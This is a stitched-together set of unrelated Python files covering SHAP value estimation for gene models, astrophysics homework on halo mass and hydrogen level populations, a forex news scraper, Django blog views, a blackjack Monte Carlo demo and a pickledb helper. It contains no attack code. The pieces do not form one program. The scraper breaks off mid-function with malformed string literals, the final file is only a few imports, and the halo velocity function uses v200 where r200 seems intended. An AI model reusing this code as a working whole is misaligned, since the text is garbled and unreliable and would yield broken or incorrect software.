import sys
import os.path
import argparse
import numpy as np
import pandas as pd
import logging.config
import multiprocess as mp
import shap
import configparser

from modeling_utils import *

## Load default configuration
config = configparser.ConfigParser()
config.read('config.ini')
RAND_NUM = int(config['DEFAULT']['rand_num'])
np.random.seed(RAND_NUM)
MAX_RECURSION = int(config['DEFAULT']['max_recursion'])
sys.setrecursionlimit(MAX_RECURSION)

## Intialize logger
logging.config.fileConfig('logging.ini', disable_existing_loggers=False)
logger = logging.getLogger(__name__)

def parse_args(argv):
    parser = argparse.ArgumentParser(description='')
    parser.add_argument(
        '-m', '--trained_models', required=True, nargs='*',
        help='Pickle files for trained model. Wildcard in filename (*) is accpetable.')
    parser.add_argument(
        '-x', '--feat_mtx', required=True,
        help='csv file for feature matrix.')
    parser.add_argument(
        '-y', '--predictions', required=True,
        help='csv file for predictions and corresponding cv folds.')
    parser.add_argument(
        '-g', '--genes', required=True,
        help='csv file for genes.')
    parser.add_argument(
        '-f', '--feat_annot',
        help='Pickle file for annotations of feature matrix.')
    parser.add_argument(
        '-o', '--output_dir',
        help='Output directory path.')
    parser.add_argument(
        '-a', '--algorithm', required=True,
        help='Classifier or regressor algorithms.')
    parser.add_argument(
        '--explainer_type', default='tree',
        help='Type of SHAP explainer. Default to tree explainer.')
    # parser.add_argument(
    #     '--null_model', action='store_true',
    #     help='Create SHAP null model.')
    parsed = parser.parse_args(argv[1:])
    return parsed

def estimate_shap_parallel(model_dict, X, y, genes, feats, is_classifier, explainer_type='tree', use_approx=False):
    """Estimate SHAP values for each gene from the model trained in the respective
    fold under a multiprocessing scheme.
    Args:
        model_dict          - A dictionary of models with the keys as fold indices
        X                   - Feature matrix
        y                   - Prediction dataframe
        genes               - Gene list
        feats               - Feature annotations for feature matrix
        is_classifier       - True for classifier and False for regressor
        explainer_type      - Type of SHAP explainer. Default to tree explainer
        use_approx          - Flag for using approximation
    Returns:
        A dictionary of SHAP values with keys for cv folds
    """
    cv_folds = pd.unique(y['cv'])
    with mp.Pool(processes=len(cv_folds)) as pool:
        mp_results = {}

        for k, y_te in y.groupby('cv'):
            ## Split training and testing genes for k-th fold
            te_idx = [i for i, g in enumerate(genes) if g in y_te['gene'].values]
            te_genes = genes[te_idx]
            tr_idx = sorted(set(range(len(genes))) - set(te_idx))
            logger.debug('Fold {} has {} genes'.format(k, len(te_idx)))

            if explainer_type == 'tree':
                ## Standardize feature matrix
                X_tr, X_te = X[tr_idx], X[te_idx]
                X_tr, X_te = standardize_feat_mtx(X_tr, X_te, 'zscore')

                ## Sample indices of background genes from training
                n_bg_genes = 500
                bg_idx = np.random.choice(range(X_tr.shape[0]), n_bg_genes, replace=False)

                ## Run parallel jobs for SHAP tree explainer
                mp_results[k] = pool.apply_async(
                    estimate_tree_shap,
                    args=(
                        model_dict[k], X_te, te_genes,
                        X_tr[bg_idx], is_classifier, use_approx,))

            elif explainer_type == 'deep':
                ## Split labels and feature matrices for training and testing
                X1, X2 = X
                X1_tr, X1_te = X1[tr_idx], X1[te_idx]
                X2_tr, X2_te = (X2[tr_idx], X2[te_idx]) if X2.shape[1] > 0 else \
                    (np.empty((len(tr_idx), 0)), np.empty((len(te_idx), 0)))

                ## Augment training instances
                max_shift = 3
                shift_step = 3
                X1_tr, X2_tr, _ = augment_shifting_window(
                    X1_tr, X2_tr, None, max_shift, shift_step)
                X1_te = shift_test_window(X1_te, max_shift)
                X1_tr, X2_tr, _ = augment_sequence_complement(
                    X1_tr, X2_tr, feats, None)
                X1_tr, X1_te = X1_tr.astype('float16'), X1_te.astype('float16')

                ## Standardize features
                X1_tr, X1_te = standardize_feat_mtx(X1_tr, X1_te, 'minmax')
                X2_tr, X2_te = standardize_feat_mtx(X2_tr, X2_te, 'minmax')

                ## Sample indices of background genes from training
                n_bg_genes = 500
                bg_idx = np.random.choice(range(X1_tr.shape[0]), n_bg_genes, replace=False)

                ## Run parallel jobs for DeepSHAP explainer
                mp_results[k] = pool.apply_async(
                    estimate_deep_shap,
                    args=(
                        model_dict[k], [X1_te, X2_te], te_genes,
                        [X1_tr[bg_idx], X2_tr[bg_idx]], is_classifier))
            else:
                raise NotImplementedError
        return [mp_results[k].get() for k in sorted(mp_results.keys())]

def estimate_tree_shap(model, X, genes, X_bg, is_classifier, use_approx):
    """
    """
    n_genes, n_feats = X.shape
    ## Estimate SHAP values
    explainer = shap.TreeExplainer(model, X_bg)
    logger.debug('SHAP expected value = {}'.format(explainer.expected_value))
    shap_mtx = explainer.shap_values(X, approximate=use_approx, check_additivity=False)
    shap_mtx = shap_mtx[1] if is_classifier else shap_mtx
    logger.debug('SHAP matrix shape = {}'.format(shap_mtx.shape))
    ## Convert to long df
    shap_df = pd.DataFrame(
        data=shap_mtx, index=genes,
        columns=['feat' + str(i) for i in range(n_feats)])
    shap_df.index.name = 'gene'
    shap_df = shap_df.reset_index()
    shap_df = pd.wide_to_long(shap_df, 'feat', 'gene', 'feat_idx').reset_index()
    return shap_df

def estimate_deep_shap(model, X, genes, X_bg, is_classifier, feat_shift=3):
    """
    """
    _, _, feat_len = X[0].shape
    ## Estimate SHAP values
    shap.explainers.deep.deep_tf.op_handlers["AddV2"] = shap.explainers.deep.deep_tf.passthrough
    explainer = shap.DeepExplainer(model, X_bg)
    logger.debug('SHAP expected value = {}'.format(explainer.expected_value))
    shap_mtx = explainer.shap_values(X)
    shap_mtx = shap_mtx[1] if is_classifier else shap_mtx
    logger.debug('SHAP matrix shape = {} {}'.format(shap_mtx[0].shape, shap_mtx[1].shape))
    return {'shap': shap_mtx, 'genes': genes}

def main(argv):
    ## Parse arguments
    args = parse_args(argv)
    logger.debug('Input arguments: {}'.format(args))
    model_files = args.trained_models
    feat_mtx_file = args.feat_mtx
    genes_file = args.genes
    preds_file = args.predictions
    feat_annot_file = args.feat_annot
    explainer_type = args.explainer_type
    output_dir = args.output_dir
    ## Flag for non-xgb classifier
    if args.algorithm.endswith('classifier') & \
            (not args.algorithm.startswith('xgb')):
        is_classifier = True
    else:
        is_classifier = False
    # create_null = args.null_model

    ## Check model path
    model_path = os.path.dirname(model_files[0])
    if os.path.exists(model_path):

        ## Estimate SHAP values
        models, X, y, genes, feats = load_interpret_data(
            model_files, feat_mtx_file, preds_file, genes_file, feat_annot_file)

        # if create_null:
        #     ## SHAP values based on randomly permuted input
        #     X, y, genes = create_random_input(X, y)
        #     shap_values = estimate_shap_parallel(
        #         models, X, y, genes, feats, is_classifier, explainer_type,
        #         use_approx=False)
        #     store_shap_values(shap_values, explainer_type, output_dir, 'feat_rand_shap')

        # else:
        #     ## SHAP values based on original data
        #     shap_values = estimate_shap_parallel(
        #         models, X, y, genes, feats, is_classifier, explainer_type,
        #         use_approx=False)
        #     store_shap_values(shap_values, explainer_type, output_dir, 'feat_shap_wbg')

        ## SHAP values based on original data
        shap_values = estimate_shap_parallel(
            models, X, y, genes, feats, is_classifier, explainer_type,
            use_approx=False)
        store_shap_values(shap_values, explainer_type, output_dir, 'feat_shap_wbg')

        logger.info('Completed')

if __name__ == "__main__":
    main(sys.argv)


import astropy.units as u
import numpy as np
from matplotlib import rc
import matplotlib.pyplot as plt
import astropy.constants as const
import calc
import matrix
import copy
rc('text', usetex=True)
plt.rc('font', size=14)

def vc(r , r200 , v200 , c):
	'''
	takes in the radius, r200 , v200 , and concentration for a halo
	returns the circular velocity at the radius r
	'''
	x = r / (v200.value * u.kpc)
	a = ((np.log(1 + c * x) - (c * x) / (1 + c * x)) / (np.log(1 + c) - c / (1 + c)))
	return np.sqrt((a / x) * v200 ** 2)

def Menc(r , r200 , v200 , c):

	'''
	takes in the radius, r200 , v200 , and concentration for a halo
	returns the total mass enclosed within the radius r
	'''

	v_c = vc(r  , r200 , v200 , c)
	return (r * v_c ** 2 / const.G).to(u.solMass)

def rho(r , r200 , v200 , c):
	'''
	takes in the radius, r200 , v200 , and concentration for a halo
	returns the density at a radius r
	'''

	rs = r200 / c
	return 1 / ((r / rs) * ((1 + r / rs) ** 2))

def M(r , r200 , v200 , c):
	'''
	takes in the radius, r200 , v200 , and concentration for a halo
	returns the mass inside of a spherical shell
	'''

	return 4 * np.pi * rho(r , r200 , v200 , c) * r ** 2

def J(T , l , up):

	'''
	Takes in a temperature, and two energy states (which both should be integers)
	returns the mean intensity of the radiation field at the frequency corresponding tho the energy of this transition
	Assumes we are dealing with hydrogen
	'''

	nu = get_freq(l , up).to(1 / u.s)
	C = (2 * const.h * ((nu) ** 3)) / (const.c ** 2)
	return C / (np.exp((const.h * nu / (const.k_B * T)).to(u.dimensionless_unscaled)) - 1)

def get_A(upper , lower):

	'''
	reads in our table of Einstein coefficients
	returns the value of A for a given set of energy levels l and up
	'''

	in_file = open("A_coefficients.dat")
	A = matrix.Matrix((9 , 9))
	for i in in_file.readlines():
		if i[0] == "#":
			continue
		up = int(i.split()[0].strip().replace("," , ""))
		low = int(i.split()[1].strip().replace("," , ""))
		A.elements[up - 1][low - 1] = float(i.split()[2].strip().replace("," , ""))
	in_file.close()
	return A.get(lower , upper) / u.s

def get_B(upper , lower):
	'''
	calculates the Einstein coefficient called B
	'''
	Alu = get_A(upper , lower)
	if Alu == 0:
		Alu = (get_A(lower , upper)) * ( ((2 * lower ** 2) / (2 * upper ** 2)) ** 1)

	a = (const.c ** 2) / (2 * const.h * get_freq(lower , upper).to(1 / u.s) ** 3)
	return a * Alu

def get_freq(l , up):
	'''
	finds the frequency for a particular line transition of hydrogen
	takes in two energy levels (integers)
	returns a frequency
	'''
	E = abs(( -13.6 * u.eV / (up ** 2) ) - ( -13.6 * u.eV / (l ** 2) ))
	return E / const.h

def densities(T):

	'''
	This function takes in a temperature T
	computes all of our number densities
	returns a Matrix object containing all of the number densities
	'''

	###(3x3)
	b = matrix.Matrix((3 , 1) , ([[0] , [0], [1]]))
	A = matrix.Matrix((3 , 3))

	A.elements[0][0] = ((get_B(1 , 2) * J(T , 1 , 2) + get_B(1 , 3) * J(T , 1 , 3))).value
	A.elements[0][1] = -1 * (get_A(2 , 1) + get_B(2 , 1) * J(T , 2 , 1)).value
	A.elements[0][2] = -1 * (get_A(3 , 1) + get_B(3 , 1) * J(T , 3 , 1)).value
	A.elements[1][1] = (get_B(2 , 1) * J(T , 2 , 1) + get_A(2 , 1) + get_B(2 , 3) * J(T , 2 , 3)).value
	A.elements[1][0] = -1 * (get_B(1 , 2) * J(T  , 1 , 2)).value
	A.elements[1][2] = -1 * (get_B(3 , 2) * J(T , 3  ,2) + get_A(3 , 2)).value
	'''
	A.elements[2][0] = -1 * (get_B(1 , 3) * J(T , 1 , 3)).value
	A.elements[2][1] = -1 * (get_B(2 , 3) * J(T , 2 , 3)).value
	A.elements[2][2] = (get_B(3 , 1) * J(T , 3 , 1) + get_A(3 , 1) + get_A(3, 2) + get_B(3 , 2) * J(T , 3 , 2)).value
	'''
	A.elements[2][0] = 1
	A.elements[2][1] = 1
	A.elements[2][2] = 1
	x = matrix.solve_eq(A , b)
	return x

def nden(T):
	'''
	This function takes in a temperature T
	computes all of our number densities
	returns a Matrix object containing all of the number densities
	'''

	n_levels = 9

	A = matrix.Matrix((n_levels , n_levels))
	b = matrix.Matrix((n_levels , 1))
	b.elements[n_levels - 1][0] = 1

	for i in range(n_levels):
		###These for loops set up the matrix A, which contains many einstein coefficieints
		### A contains all of the coefficients for a system of equations for the various number densities

		for j in range(n_levels):
			if i == n_levels - 1:
				A.elements[i][j] = 1
				continue
			elm = 0
			if i == j:
				for k in range(n_levels):
					if k == i: ###No transitions from one state to itself
						continue
					elm += (get_A(i + 1 , k + 1).value)
					elm += (get_B(i + 1 , k + 1) * J(T , i + 1 , k + 1)).value
				A.elements[i][j] = elm

			else:
				#for k in range(n_levels):

				elm = (get_B(j + 1 , i + 1) * J(T , j + 1, i + 1) + get_A(j + 1, i + 1)).value
				A.elements[i][j] = -1 * elm

	###Now we solve our matrix problem

	x = matrix.solve_eq(A , b)

	return x
###Runs code to produce all of our plots

##Sets a few parameters
r200 = 200 * u.kpc
v200 = 200 * u.km / (u.s)
c = 9.39

####

x = range(1 , 500)
y = []
yp = []
mint = []
f = calc.centered_diff(lambda x: M(x * u.kpc , r200 , v200 , c).value , 1e-5)
for i in x:
	y.append(np.log10(M(i * u.kpc , r200 , v200 , c).value))
	yp.append(f(i))
	mint.append(np.log10(Menc(i * u.kpc , r200 , v200 , c).value))
plt.plot(x , y)
plt.xlabel("r (kpc)")
plt.ylabel("$M (M_{\odot})$")
plt.savefig("P21.pdf")
#plt.show()
plt.close()

plt.plot(x , yp)
plt.xlabel("r (kpc)")
plt.ylabel("$dM(r)/dr (M_{\odot})$")
plt.savefig("P22.pdf")
plt.close()

plt.plot(x , mint)
plt.xlabel("r (kpc)")
plt.ylabel("$M_{enc} (M_{\odot})$")
plt.savefig("P23.pdf")
plt.close()

Mtot = Menc(1e8 * u.kpc , r200 , v200 , c)
print (np.log10(Mtot.value))

print (M(5 * u.kpc , r200 , v200 , c))

###On to problem 5
N = 1 / (u.cm ** 3)

T = 1e4
y1 = []
y2 = []
y3 = []
y4 = []
y5 = []
y6 = []
y7 = []
y8 = []
y9 = []

T_arr = []
while T < 1e5:
	T_arr.append(np.log10(T))
	X = nden(T * u.K)
	y1.append(X.elements[0][0])
	y2.append(X.elements[1][0])
	y3.append(X.elements[2][0])
	y4.append(X.elements[3][0])
	y5.append(X.elements[4][0])
	y6.append(X.elements[5][0])
	y7.append(X.elements[6][0])
	y8.append(X.elements[7][0])
	y9.append(X.elements[8][0])
	T *= 1.1

f , ax = plt.subplots(3 , 3 , sharex = True , sharey = True , figsize = (10 , 10))

plot_u = "$( cm^{-3} )$"
ax[0,0].plot(T_arr , y1)
ax[0,0].set_xlabel("$log(T) (K)$")
ax[0,0].set_ylabel("$n_1$" + plot_u)

ax[0,1].plot(T_arr , y2)
ax[0,1].set_xlabel("$log(T) (K)$")
ax[0,1].set_ylabel("$n_2$" + plot_u)

ax[0,2].plot(T_arr , y3)
ax[0,2].set_xlabel("$log(T) (K)$")
ax[0,2].set_ylabel("$n_3$" + plot_u)

ax[1,0].plot(T_arr , y4)
ax[1,0].set_xlabel("$log(T) (K)$")
ax[1,0].set_ylabel("$n_4$" + plot_u)

ax[1,1].plot(T_arr , y5)
ax[1,1].set_xlabel("$log(T) (K)$")
ax[1,1].set_ylabel("$n_5$" + plot_u)

ax[1,2].plot(T_arr , y6)
ax[1,2].set_xlabel("$log(T) (K)$")
ax[1,2].set_ylabel("$n_6$" + plot_u)

ax[2,0].plot(T_arr , y7)
ax[2,0].set_xlabel("$log(T) (K)$")
ax[2,0].set_ylabel("$n_7$" + plot_u)

ax[2,1].plot(T_arr , y8)
ax[2,1].set_xlabel("$log(T) (K)$")
ax[2,1].set_ylabel("$n_8$" + plot_u)

ax[2,2].plot(T_arr , y9)
ax[2,2].set_xlabel("$log(T) (K)$")
ax[2,2].set_ylabel("$n_9$"+ plot_u)

plt.subplots_adjust(hspace = .31)
plt.savefig("P5.pdf")
plt.close()


# -*- coding: utf-8 -*-
"""
Created on Thu Jan  9 20:06:39 2020

@author: Novin
"""

# Python code to illustrate parsing of XML files  from fxstreet xml provider
# importing the required modules

import requests
import json
import xml.etree.ElementTree as ET
from bs4 import BeautifulSoup
# import pandas as pd
from datetime import datetime
# from SentimentAnalysis.predictionModule import predict
import time
import errors

def loadPage(url, fileName=None):
    # url of rss feed
    try:
        # creating HTTP response object from given url
        headers = {
            'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
        resp = requests.get(url, timeout=3, headers=headers)
        fail = 'fail'
        if resp.status_code == 200:
            # saving the xml file
            with open(fileName, 'wb') as f:
                f.write(resp.content)
                f.close()
                return 1
        else:
            with open(fileName, 'wb') as f:
                f.write(bytes(fail.encode()))
                f.close()

                return -1

        resp.close()
        resp.raise_for_status()

    except requests.exceptions.HTTPError as htError:
        print('Http Error: ', htError)
        raise errors.DataProvidingException(message=htError, code=3)
    except requests.exceptions.ConnectionError as coError:
        print('Connection Error: ', coError)
        raise errors.DataProvidingException(message=coError, code=3)
    except requests.exceptions.Timeout as timeOutError:
        print('TimeOut Error: ', timeOutError)
        raise errors.DataProvidingException(message=timeOutError, code=3)

    except requests.exceptions.RequestException as ReError:
        print('Something was wrong: ', ReError)
        raise errors.DataProvidingException(message=ReError, code=3)

def getImageURL(content):
    try:
        soup = BeautifulSoup(content, 'html.parser')
        img_tags = soup.find_all('img', src=True)

        urls = [img['src'] for img in img_tags]
        return urls
    except:
        raise errors.DataProvidingException(message="Image URL reading Error!", code=3)
        return ' '

def saveAlonePage(url, filename,classifier):
    try:

        description = fxstreetGetPage(url, filename)
        if description is not None and description.get('pubDate') is not None:
            item = JsonItemStandard(description,classifier)
            saveInMongo1(item)
        else:
            print(url)
    except errors.DataProvidingException as err:
        raise errors.DataProvidingException(message=err.message, code=err.code)

def fxstreetGetPage(url, filename):
    try:
        loadPage(url, filename)
        f1 = open('nonScrapedLink.txt', 'a')

        description = {}
        f = open(filename, 'r', encoding='utf-8')
        content = f.read()
        description = {}
        if content != 'fail':

            soup = BeautifulSoup(content, 'html.parser')
            json_output = BeautifulSoup(str(soup.find_all("script", id={"SeoApplicationJsonId"})), 'lxml')
            t = str(json_output)
            t = t.replace(' </script>]
', '')
            t = t.replace('
[]
', '')
            t = t.replace('
[


from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger

from utils import weblog_render
from .models import Post

def index(request):
    posts = Post.objects.all()
    paginator = Paginator(posts, 10)
    page = request.GET.get('page')
    try:
        page_posts = paginator.page(page)
    except PageNotAnInteger:
        # If page is not an integer, deliver first page.
        page_posts = paginator.page(1)
    except EmptyPage:
        # If page is out of range (e.g. 9999), deliver last page of results.
        page_posts = paginator.page(paginator.num_pages)
    return weblog_render(request, 'postlist.html', {'blog_posts': page_posts})

def post_detail(request, post_id):
    post = Post.objects.get(id=post_id)
    return weblog_render(request, 'post-detail.html', {'post':post})


from random import shuffle
from queue import Queue
from tqdm import tqdm
import math
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
import os
import sys
path = os.path.dirname(__file__)
sys.path.append(path)
from utils import str_key, set_dict, get_dict

class Gamer():
    '''
    Gamer
    '''
    def __init__(self,name = '', A = None, display = False):
        self.name = name
        self.cards = [] #Cards in hand
        self.display = display #Whether to display game text information
        self.policy = None # Strategy
        self.learning_method = None #Learning method
        self.A = A #Action space

    def __str__(self):
        return self.name

    def _value_of(self, card):
        '''
        Judge the numerical value of the card according to the characters of the card,
        A is output as 1, JQK is 10,
        and the rest are taken according to the numerical value corresponding to the characters of the card
        Args:
            card: Card information str
        Return:
            Card size value int, A reutrn 1
        '''
        try:
            v = int(card)
        except:
            if card == 'A':
                v = 1
            elif card in ['J','Q','K']:
                v = 10
            else:
                v = 0
        finally:
            return v

    def get_points(self):
        '''
        Count the score of a hand, if 1 point of A is used, return True at the same time
        Args:
            cards The CARDS in the hands of the declarer or player list ['A','10','3']
        Return:
            tuple (The total number of returned cards, whether reusable Ace is used)
            For example ['A','10','3'] return (14,False)
                        ['A','10'] return (21,True)
        '''
        num_of_useable_ace = 0 #Not got Ace by default
        total_point = 0 #Total value
        cards = self.cards
        if cards is None:
            return 0, False
        for card in cards:
            v = self._value_of(card)
            if v == 1:
                num_of_useable_ace += 1
                v = 11
            total_point += v
        while total_point > 21 and num_of_useable_ace > 0:
            total_point -= 10
            num_of_useable_ace -= 1
        return total_point,bool(num_of_useable_ace)

    def receive(self,cards = []): #Player gets one or more cards
        cards = list(cards)
        for card in cards:
            self.cards.append(card)

    def discharge_cards(self): #The player empties the cards in his hand and throws the cards
        '''
        Throws the cards
        '''
        self.cards.clear()

    def cards_info(self): #Information about the hand of the player
        '''
        Display the cards information
        '''
        self._info('{}{}现在的牌:{}\n'.format(self.role, self, self.cards))

    def _info(self, msg):
        if self.display:
            print(msg, end='')

class Dealer(Gamer):
    '''
    Dealer
    '''
    def __init__(self,name = '', A = None, display = False):
        super(Dealer,self).__init__(name, A, display)
        self.role = '庄家' #Roles
        self.policy = self.dealer_policy #Dealer's tactics

    def first_card_value(self): #Display the first  bright card
        if self.cards is None or len(self.cards) == 0:
            return 0
        return self._value_of(self.cards[0])

    def dealer_policy(self, Dealer = None): #Details of the dealer's tactics
        action = ''
        dealer_points, _ = self.get_points()
        if dealer_points >= 17:
            action = self.A[1]  # 'Stop bidding'
        else:
            action = self.A[0] # 'Keep bidding'
        return action

class Player(Gamer):
    '''
    Player
    '''
    def __init__(self, name = '', A = None, display = False):
        super(Player, self).__init__(name, A, display)
        self.policy = self.naive_policy
        self.role = '玩家'

    def get_state(self,dealer):
        dealer_first_card_value = dealer.first_card_value()
        player_points, useable_ace = self.get_points()
        return dealer_first_card_value,player_points,useable_ace

    def get_state_name(self,dealer):
        return str_key(self.get_state(dealer))

    def naive_policy(self,dealer = None):
        player_points, _ = self.get_points()
        if player_points < 20:
            action = self.A[0]
        else:
            action = self.A[1]
        return action

class Arena():
    '''
    Responsible for game management
    '''
    def __init__(self,display = None, A = None):
        self.cards = ['A','2','3','4','5','6','7','8','9','10','J','Q','K']*4
        self.card_q = Queue(maxsize = 52 ) # Shuffled cards
        self.cards_in_pool = [] #Open cards that have been used
        self.display = display
        self.episodes = [] #List of match information generated
        self.load_cards(self.cards) #Load 52 cards in the initial state into the dealer
        self.A = A #Get action space

    def load_cards(self, cards):
        '''
        Shuffle the collected cards and reload them into the dealer
        Args:
            cards Multiple cards to be loaded into the dealer list
        Return:
            None
        '''
        shuffle(cards) #Shuffle cards
        for card in cards: #The deque data structure can only be added one by one
            self.card_q.put(card)
        cards.clear() #The original card is empty
        return

    def reward_of(self, dealer, player):
        '''
        Judge the player's reward value, with player and dealer's card point information
        '''
        dealer_points, _ = dealer.get_points()
        player_points, useable_ace = player.get_points()
        if player_points > 21:
            reward = -1
        else:
            if player_points > dealer_points or dealer_points > 21:
                reward = 1
            elif player_points == dealer_points:
                reward = 0
            else:
                reward = -1
        return reward, player_points, dealer_points, useable_ace

    def serve_card_to(self, player, n = 1):
        '''
        Deal cards to the dealer or player,
        if there are not enough cards, shuffle the cards in the open pool and deal again
        Args:
            player A dealer or player
            n The number of consecutive cards dealt at one time
        Return:
            None
        '''
        cards = [] #Cards to be dealt
        for _ in range(n):
            #Consider the situation where the dealer has no cards
            if self.card_q.empty():
                self._info('\n发牌器没牌了，整理废牌，重新洗牌;')
                shuffle(self.cards_in_pool)
                self._info('一共整理了{}张已用牌，重新放入发牌器\n'.format(len(self.cards_in_pool)))
                assert(len(self.cards_in_pool) > 20) #Make sure to collect more cards at once

                #When the code is unreasonably written,
                # there may be continuous bidding even if a certain player bursts,
                # which will cause the player to have more cards in his hand and the dealer and the used cards are few.
                # This situation needs to be avoided.

                self.load_cards(self.cards_in_pool) #Shuffle the collected used cards and send them to the dealer for reuse
            cards.append(self.card_q.get()) # Deal a card from the dealer
        self._info('发了{}张牌({})给{}{}；'.format(n, cards, player.role, player))
        player.receive(cards) #A player accepts the deal
        player.cards_info()

    def _info(self, message):
        if self.display:
            print(message, end='')

    def recycle_cards(self, *players):
        '''
        Recycle the cards in the player's hand to the publicly used card pool
        '''
        if len(players) == 0:
            return
        for player in players:
            for card in player.cards:
                self.cards_in_pool.append(card)
            player.discharge_cards() #Players no longer have these cards in their hands

    def play_game(self, dealer, player):
        '''
        Play a round of 21 points, generate a state sequence and the final reward (the intermediate reward is 0)
        Args:
            dealer/player  dealer and player
        Returns:
            tuple: episode, reward
        '''
        self._info('========= 开始新一局 ========\n')
        self.serve_card_to(player, n=2) #Deal two cards to the player
        self.serve_card_to(dealer, n=2) #Deal two cards to the dealer
        episode = [] # Record a match information
        if player.policy is None:
            self._info('玩家需要一个策略')
            return
        if dealer.policy is None:
            self._info('庄家需要一个策略')
            return
        while True:
            action = player.policy(dealer)
            #The player's strategy produces an action
            self._info('{}{}选择:{};'.format(player.role, player, action))
            episode.append((player.get_state_name(dealer), action)) #Record a(s,a)
            if action == self.A[0]: #Keep bidding
                self.serve_card_to(player) #Deal a card to the player
            else: #Stop bidding
                break
        #After the player stops bidding, the number of points in the player's hand must be counted.
        # If the player bursts, the dealer does not need to continue.
        reward, player_points, dealer_points, useable_ace = self.reward_of(dealer, player)
        if player_points > 21:
            self._info('玩家爆点{}输了，得分:{}\n'.format(player_points, reward))
            self.recycle_cards(player, dealer)
            self.episodes.append((episode, reward)) #When forecasting, you need to form an episode list and focus on learning V
            #When in Monte Carlo control, you don’t need episodes list, generate one episode to learn one, the same below
            self._info('========本局结束========\n')
            return episode, reward
        #The player did not exceed 21 points
        self._info('\n')
        while True:
            action = dealer.policy() #The dealer gets an action from its strategy
            self._info('{}{}选择:{};'.format(dealer.role, dealer, action))
            #The state only records the information of the first card of the dealer,
            # at this time the player no longer bids, (s, a) does not need to be recorded repeatedly
            if action == self.A[0]: #The dealer continues to bid
                self.serve_card_to(dealer)
            else:
                break
        #Both sides stopped bidding
        self._info('\n双方均停止叫牌;\n')
        reward, player_points, dealer_points, useable_ace = self.reward_of(dealer, player)
        player.cards_info()
        dealer.cards_info()
        if reward == +1:
            self._info('玩家赢了!')
        elif reward == -1:
            self._info('玩家输了!')
        else:
            self._info('双方和局!')
        self._info('玩家{}点，庄家{}点\n'.format(player_points,dealer_points))
        self._info('========本局结束========\n')
        self.recycle_cards(player,dealer) #Reclaim the cards in the hands of players and dealers to the open pool
        self.episodes.append((episode, reward)) #Add the complete game just generated to the state sequence list, Monte Carlo control does not need
        return episode, reward

    def play_games(self, dealer, player, num =2, show_statistic = True):
        '''
        Play multiple games at once
        '''
        results = [0, 0, 0] #Player loses, draws, wins
        self.episodes.clear()
        for i in tqdm(range(num)):
            episode, reward = self.play_game(dealer, player)
            results[1+reward] += 1
            if player.learning_method is not None:
                player.learning_method(episode, reward)
        if show_statistic:
            print('共玩了{}局, 玩家赢{}局, 和{}局, 输{}局, 胜率:{:.2f}, 不输率:{:.2f}'\
                .format(num, results[2], results[1], results[0], results[2]/num,(results[2]+results[1])/num))
        return

    def _info(self, message):
        if self.display:
            print(message, end='')

A = ['继续叫牌','停止叫牌']
display = False
#Create a player and a dealer, the player uses the original strategy, and the dealer uses its fixed strategy
player = Player(A = A, display = display)
dealer = Dealer(A = A, display = display)
#Create a scene
arena = Arena(A = A, display = display)
#Generate num complete games
arena.play_games(dealer, player, num=200000)

#Count the value of each state, the attenuation factor is 1, the instant reward of the intermediate state is 0, incremental Monte Carlo evaluation
def policy_evaluates(episodes, V, Ns):
    for episode, r in episodes:
        for s, a in episode:
            ns = get_dict(Ns, s)
            v = get_dict(V, s)
            set_dict(Ns, ns+1, s)
            set_dict(V, v+(r-v)/(ns+1), s)
V = {} #State value dictionary
Ns = {} #Number of times the state has been visited
policy_evaluates(arena.episodes, V, Ns) #Learning V value

def draw_value(value_dict, useable_ace = True, is_q_dict = False, A = None):
    #Definition figure
    fig = plt.figure()
    #Turn figure into 3d
    ax = Axes3D(fig)
    #Definition x,y
    x = np.arange(1, 11,1) #Dealer's first card
    y = np.arange(12, 22, 1) #Total player score
    #Generate grid data
    X, Y = np.meshgrid(x, y)
    #Retrieve the height of the Z axis from the V dictionary
    row, col = X.shape
    Z = np.zeros((row, col))
    if is_q_dict:
        n = len(A)
    for i in range(row):
        for j in range(col):
            state_name = str(X[i,j])+'_'+str(Y[i,j])+'_'+str(useable_ace)
            if not is_q_dict:
                Z[i, j] = get_dict(value_dict, state_name)
            else:
                assert (A is not None)
                for a in A:
                    new_state_name = state_name + '_' + str(a)
                    q = get_dict(value_dict, new_state_name)
                    if q >= Z[i, j]:
                        Z[i, j] = q
    #Draw 3D surface
    ax.plot_surface(X, Y, Z, rstride = 1, cstride = 1, color = 'lightgray')
    plt.show()
draw_value(V, useable_ace = True, A = A) #Draw a state value map when A is available
draw_value(V, useable_ace = False, A = A) #Draw a state value map when no A is available

#Observe several game information
display = True
player.display, dealer.display, arena.display = display, display, display
arena.play_games(dealer, player, num=2)


import pickledb

class pickledbMetadata():
	def __init__(self, serverAddress):
		self.db = pickledb.load(serverAddress[-4:]+'.db',False)
		self.db.dump()
		self.filedata={}

	def insertData(self, username, filename, chunk_id,node):
		if not self.db.get(username):
			self.filedata[filename]=[(chunk_id, node)]
			self.db.set(username,self.filedata)
			self.db.dump()
			self.filedata={}
		else:
			a= self.db.get(username)
			if a.get(filename):
				a.get(filename).append((chunk_id, node))
			else:
				self.db[username][filename]=[(chunk_id, node)]
				#self.filedata[filename]=[(chunk_id, node)]
				#a[filename]=self.filedata
			self.db.dump()
			self.filedata={}

	def getData(self, username,filename):
		if not self.db.get(username)[filename]:
			print("dta not found")
			return False
		else:
			print(self.db.get(username)[filename])
			return self.db.get(username)[filename]

	def getFileData(self, username):
		if not self.db.get(username):
			return False
		else:
			print(self.db.get(username))
			return self.db.get(username)

	def getFileList(self, username):
		a= self.db.get(username)
		if not a:
			return ""
		fileList = ""
		for key,value in a.items():
			fileList += key+','
		if len(fileList) == 0:
			return ""
		result = fileList[:-1]
		return result

if __name__ == '__main__':
	obj= pickledbMetadata("server3000")
	obj.insertData("akshay", "ruhi", "1", "3000")
	obj.insertData("akshay", "ruhi", "2", "3000")
	obj.insertData("akshay", "shubham", "1", "3000")
	obj.insertData("akshay", "shubham", "2", "3000")
	obj.insertData("saket", "varun", "1", "3000")
	obj.getData("akshay","ruhi")


from keras.models import load_model

# Config 모듈을 적용하기 위해서는 다른 Kivy 모듈을 불러오기 전에 설정을 해야 한다.
# 어플리케이션 창을 높이와 너비가 800px로 고정된 사이즈 재조정 불가능한 테두리 없는 창으로 설정한다.
from kivy.config import Config
